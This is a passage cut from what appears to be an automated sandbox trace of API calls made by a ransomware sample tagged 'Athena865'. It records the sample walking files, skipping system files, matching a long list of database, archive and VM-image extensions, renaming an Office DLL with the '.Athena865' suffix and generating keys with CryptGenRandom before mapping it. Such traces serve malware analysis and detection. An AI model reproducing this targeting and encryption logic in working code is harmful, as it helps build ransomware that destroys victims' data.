(lpBaseAddress=0x2d50000) returned 1 [0084.176] CloseHandle (hObject=0x17c) returned 1 [0084.176] CloseHandle (hObject=0x154) returned 1 [0084.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.182] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRTF9.DLL", cAlternateFileName="")) returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2=".") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="..") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="windows") returned -1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="bootmgr") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="temp") returned -1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="pagefile.sys") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="boot") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="ids.txt") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="ntuser.dat") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="perflogs") returned 1 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2="MSBuild") returned 1 [0084.182] lstrlenW (lpString="PRTF9.DLL") returned 9 [0084.182] lstrcpyW (in: lpString1=0x241e89e, lpString2="PRTF9.DLL" | out: lpString1="PRTF9.DLL") returned="PRTF9.DLL" [0084.182] lstrlenW (lpString="PRTF9.DLL") returned 9 [0084.182] lstrlenW (lpString="Athena865") returned 9 [0084.182] lstrlenW (lpString=".dll") returned 4 [0084.182] lstrcmpiW (lpString1="PRTF9.DLL", lpString2=".dll") returned 1 [0084.182] lstrlenW (lpString=".lnk") returned 4 [0084.183] lstrcmpiW (lpString1="PRTF9.DLL", lpString2=".lnk") returned 1 [0084.183] lstrlenW (lpString=".ini") returned 4 [0084.183] lstrcmpiW (lpString1="PRTF9.DLL", lpString2=".ini") returned 1 [0084.183] lstrlenW (lpString=".sys") returned 4 [0084.183] lstrcmpiW (lpString1="PRTF9.DLL", lpString2=".sys") returned 1 [0084.183] lstrlenW (lpString="PRTF9.DLL") returned 9 [0084.183] lstrlenW (lpString="bak") returned 3 [0084.183] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.183] lstrlenW (lpString="ba_") returned 3 [0084.183] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.183] lstrlenW (lpString="dbb") returned 3 [0084.183] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.183] lstrlenW (lpString="vmdk") returned 4 [0084.183] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.183] lstrlenW (lpString="rar") returned 3 [0084.183] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.183] lstrlenW (lpString="zip") returned 3 [0084.183] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.183] lstrlenW (lpString="tgz") returned 3 [0084.183] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.183] lstrlenW (lpString="vbox") returned 4 [0084.183] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.183] lstrlenW (lpString="vdi") returned 3 [0084.183] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.183] lstrlenW (lpString="vhd") returned 3 [0084.183] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.183] lstrlenW (lpString="vhdx") returned 4 [0084.183] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.183] lstrlenW (lpString="avhd") returned 4 [0084.183] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.183] lstrlenW (lpString="db") returned 2 [0084.183] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.184] lstrlenW (lpString="db2") returned 3 [0084.184] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.184] lstrlenW (lpString="db3") returned 3 [0084.184] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.184] lstrlenW (lpString="dbf") returned 3 [0084.184] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.184] lstrlenW (lpString="mdf") returned 3 [0084.184] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.184] lstrlenW (lpString="mdb") returned 3 [0084.184] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.184] lstrlenW (lpString="sql") returned 3 [0084.184] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.184] lstrlenW (lpString="sqlite") returned 6 [0084.184] lstrcmpiW (lpString1="F9.DLL", lpString2="sqlite") returned -1 [0084.184] lstrlenW (lpString="sqlite3") returned 7 [0084.184] lstrcmpiW (lpString1="TF9.DLL", lpString2="sqlite3") returned 1 [0084.184] lstrlenW (lpString="sqlitedb") returned 8 [0084.184] lstrcmpiW (lpString1="RTF9.DLL", lpString2="sqlitedb") returned -1 [0084.184] lstrlenW (lpString="xml") returned 3 [0084.185] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.185] lstrlenW (lpString="$er") returned 3 [0084.185] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.185] lstrlenW (lpString="4dd") returned 3 [0084.185] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.185] lstrlenW (lpString="4dl") returned 3 [0084.185] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.185] lstrlenW (lpString="^^^") returned 3 [0084.185] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.185] lstrlenW (lpString="abs") returned 3 [0084.185] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.185] lstrlenW (lpString="abx") returned 3 [0084.185] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.185] lstrlenW (lpString="accdb") returned 5 [0084.185] lstrcmpiW (lpString1="9.DLL", lpString2="accdb") returned -1 [0084.185] lstrlenW (lpString="accdc") returned 5 [0084.185] lstrcmpiW (lpString1="9.DLL", lpString2="accdc") returned -1 [0084.185] lstrlenW (lpString="accde") returned 5 [0084.185] lstrcmpiW (lpString1="9.DLL", lpString2="accde") returned -1 [0084.185] lstrlenW (lpString="accdr") returned 5 [0084.185] lstrcmpiW (lpString1="9.DLL", lpString2="accdr") returned -1 [0084.185] lstrlenW (lpString="accdt") returned 5 [0084.185] lstrcmpiW (lpString1="9.DLL", lpString2="accdt") returned -1 [0084.185] lstrlenW (lpString="accdw") returned 5 [0084.186] lstrcmpiW (lpString1="9.DLL", lpString2="accdw") returned -1 [0084.186] lstrlenW (lpString="accft") returned 5 [0084.186] lstrcmpiW (lpString1="9.DLL", lpString2="accft") returned -1 [0084.186] lstrlenW (lpString="adb") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.186] lstrlenW (lpString="adb") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.186] lstrlenW (lpString="ade") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.186] lstrlenW (lpString="adf") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.186] lstrlenW (lpString="adn") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.186] lstrlenW (lpString="adp") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.186] lstrlenW (lpString="alf") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.186] lstrlenW (lpString="ask") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.186] lstrlenW (lpString="btr") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.186] lstrlenW (lpString="cat") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.186] lstrlenW (lpString="cdb") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.186] lstrlenW (lpString="ckp") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.186] lstrlenW (lpString="cma") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.186] lstrlenW (lpString="cpd") returned 3 [0084.186] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.186] lstrlenW (lpString="dacpac") returned 6 [0084.187] lstrcmpiW (lpString1="F9.DLL", lpString2="dacpac") returned 1 [0084.187] lstrlenW (lpString="dad") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.187] lstrlenW (lpString="dadiagrams") returned 10 [0084.187] lstrlenW (lpString="daschema") returned 8 [0084.187] lstrcmpiW (lpString1="RTF9.DLL", lpString2="daschema") returned 1 [0084.187] lstrlenW (lpString="db-journal") returned 10 [0084.187] lstrlenW (lpString="db-shm") returned 6 [0084.187] lstrcmpiW (lpString1="F9.DLL", lpString2="db-shm") returned 1 [0084.187] lstrlenW (lpString="db-wal") returned 6 [0084.187] lstrcmpiW (lpString1="F9.DLL", lpString2="db-wal") returned 1 [0084.187] lstrlenW (lpString="dbc") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.187] lstrlenW (lpString="dbs") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.187] lstrlenW (lpString="dbt") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.187] lstrlenW (lpString="dbv") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.187] lstrlenW (lpString="dbx") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.187] lstrlenW (lpString="dcb") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.187] lstrlenW (lpString="dct") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.187] lstrlenW (lpString="dcx") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.187] lstrlenW (lpString="ddl") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.187] lstrlenW (lpString="dlis") returned 4 [0084.187] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.187] lstrlenW (lpString="dp1") returned 3 [0084.187] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.188] lstrlenW (lpString="dqy") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.188] lstrlenW (lpString="dsk") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.188] lstrlenW (lpString="dsn") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.188] lstrlenW (lpString="dtsx") returned 4 [0084.188] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.188] lstrlenW (lpString="dxl") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.188] lstrlenW (lpString="eco") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.188] lstrlenW (lpString="ecx") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.188] lstrlenW (lpString="edb") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.188] lstrlenW (lpString="epim") returned 4 [0084.188] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.188] lstrlenW (lpString="fcd") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.188] lstrlenW (lpString="fdb") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.188] lstrlenW (lpString="fic") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.188] lstrlenW (lpString="flexolibrary") returned 12 [0084.188] lstrlenW (lpString="fm5") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.188] lstrlenW (lpString="fmp") returned 3 [0084.188] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.188] lstrlenW (lpString="fmp12") returned 5 [0084.188] lstrcmpiW (lpString1="9.DLL", lpString2="fmp12") returned -1 [0084.188] lstrlenW (lpString="fmpsl") returned 5 [0084.189] lstrcmpiW (lpString1="9.DLL", lpString2="fmpsl") returned -1 [0084.189] lstrlenW (lpString="fol") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.189] lstrlenW (lpString="fp3") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.189] lstrlenW (lpString="fp4") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.189] lstrlenW (lpString="fp5") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.189] lstrlenW (lpString="fp7") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.189] lstrlenW (lpString="fpt") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.189] lstrlenW (lpString="frm") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.189] lstrlenW (lpString="gdb") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.189] lstrlenW (lpString="gdb") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.189] lstrlenW (lpString="grdb") returned 4 [0084.189] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.189] lstrlenW (lpString="gwi") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.189] lstrlenW (lpString="hdb") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.189] lstrlenW (lpString="his") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.189] lstrlenW (lpString="ib") returned 2 [0084.189] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.189] lstrlenW (lpString="idb") returned 3 [0084.189] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.189] lstrlenW (lpString="ihx") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.190] lstrlenW (lpString="itdb") returned 4 [0084.190] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.190] lstrlenW (lpString="itw") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.190] lstrlenW (lpString="jet") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.190] lstrlenW (lpString="jtx") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.190] lstrlenW (lpString="kdb") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.190] lstrlenW (lpString="kexi") returned 4 [0084.190] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0084.190] lstrlenW (lpString="kexic") returned 5 [0084.190] lstrcmpiW (lpString1="9.DLL", lpString2="kexic") returned -1 [0084.190] lstrlenW (lpString="kexis") returned 5 [0084.190] lstrcmpiW (lpString1="9.DLL", lpString2="kexis") returned -1 [0084.190] lstrlenW (lpString="lgc") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.190] lstrlenW (lpString="lwx") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.190] lstrlenW (lpString="maf") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.190] lstrlenW (lpString="maq") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.190] lstrlenW (lpString="mar") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.190] lstrlenW (lpString="marshal") returned 7 [0084.190] lstrcmpiW (lpString1="TF9.DLL", lpString2="marshal") returned 1 [0084.190] lstrlenW (lpString="mas") returned 3 [0084.190] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.190] lstrlenW (lpString="mav") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.191] lstrlenW (lpString="maw") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.191] lstrlenW (lpString="mdbhtml") returned 7 [0084.191] lstrcmpiW (lpString1="TF9.DLL", lpString2="mdbhtml") returned 1 [0084.191] lstrlenW (lpString="mdn") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.191] lstrlenW (lpString="mdt") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.191] lstrlenW (lpString="mfd") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.191] lstrlenW (lpString="mpd") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.191] lstrlenW (lpString="mrg") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.191] lstrlenW (lpString="mud") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.191] lstrlenW (lpString="mwb") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.191] lstrlenW (lpString="myd") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.191] lstrlenW (lpString="ndf") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.191] lstrlenW (lpString="nnt") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.191] lstrlenW (lpString="nrmlib") returned 6 [0084.191] lstrcmpiW (lpString1="F9.DLL", lpString2="nrmlib") returned -1 [0084.191] lstrlenW (lpString="ns2") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.191] lstrlenW (lpString="ns3") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.191] lstrlenW (lpString="ns4") returned 3 [0084.191] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.192] lstrlenW (lpString="nsf") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.192] lstrlenW (lpString="nv") returned 2 [0084.192] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.192] lstrlenW (lpString="nv2") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.192] lstrlenW (lpString="nwdb") returned 4 [0084.192] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.192] lstrlenW (lpString="nyf") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.192] lstrlenW (lpString="odb") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.192] lstrlenW (lpString="odb") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.192] lstrlenW (lpString="oqy") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.192] lstrlenW (lpString="ora") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.192] lstrlenW (lpString="orx") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.192] lstrlenW (lpString="owc") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.192] lstrlenW (lpString="p96") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.192] lstrlenW (lpString="p97") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.192] lstrlenW (lpString="pan") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.192] lstrlenW (lpString="pdb") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.192] lstrlenW (lpString="pdm") returned 3 [0084.192] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.193] lstrlenW (lpString="pnz") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.193] lstrlenW (lpString="qry") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.193] lstrlenW (lpString="qvd") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.193] lstrlenW (lpString="rbf") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.193] lstrlenW (lpString="rctd") returned 4 [0084.193] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.193] lstrlenW (lpString="rod") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.193] lstrlenW (lpString="rodx") returned 4 [0084.193] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.193] lstrlenW (lpString="rpd") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.193] lstrlenW (lpString="rsd") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.193] lstrlenW (lpString="sas7bdat") returned 8 [0084.193] lstrcmpiW (lpString1="RTF9.DLL", lpString2="sas7bdat") returned -1 [0084.193] lstrlenW (lpString="sbf") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.193] lstrlenW (lpString="scx") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.193] lstrlenW (lpString="sdb") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.193] lstrlenW (lpString="sdc") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.193] lstrlenW (lpString="sdf") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.193] lstrlenW (lpString="sis") returned 3 [0084.193] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.194] lstrlenW (lpString="spq") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.194] lstrlenW (lpString="te") returned 2 [0084.194] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.194] lstrlenW (lpString="teacher") returned 7 [0084.194] lstrcmpiW (lpString1="TF9.DLL", lpString2="teacher") returned 1 [0084.194] lstrlenW (lpString="tmd") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.194] lstrlenW (lpString="tps") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.194] lstrlenW (lpString="trc") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.194] lstrlenW (lpString="trc") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.194] lstrlenW (lpString="trm") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.194] lstrlenW (lpString="udb") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.194] lstrlenW (lpString="udl") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.194] lstrlenW (lpString="usr") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.194] lstrlenW (lpString="v12") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.194] lstrlenW (lpString="vis") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.194] lstrlenW (lpString="vpd") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.194] lstrlenW (lpString="vvv") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.194] lstrlenW (lpString="wdb") returned 3 [0084.194] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.195] lstrlenW (lpString="wmdb") returned 4 [0084.195] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.195] lstrlenW (lpString="wrk") returned 3 [0084.195] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.195] lstrlenW (lpString="xdb") returned 3 [0084.195] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.195] lstrlenW (lpString="xld") returned 3 [0084.195] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.195] lstrlenW (lpString="xmlff") returned 5 [0084.195] lstrcmpiW (lpString1="9.DLL", lpString2="xmlff") returned -1 [0084.195] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PRTF9.DLL.Athena865") returned 62 [0084.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PRTF9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\prtf9.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PRTF9.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\prtf9.dll.athena865"), dwFlags=0x1) returned 1 [0084.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PRTF9.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\prtf9.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.198] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=170368) returned 1 [0084.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.198] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.199] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.199] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.199] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29c80, lpName=0x0) returned 0x17c [0084.201] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29c80) returned 0x170000 [0084.210] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.210] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.210] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.211] RtlAllocateHeap (HeapHandle=0x4f0000, 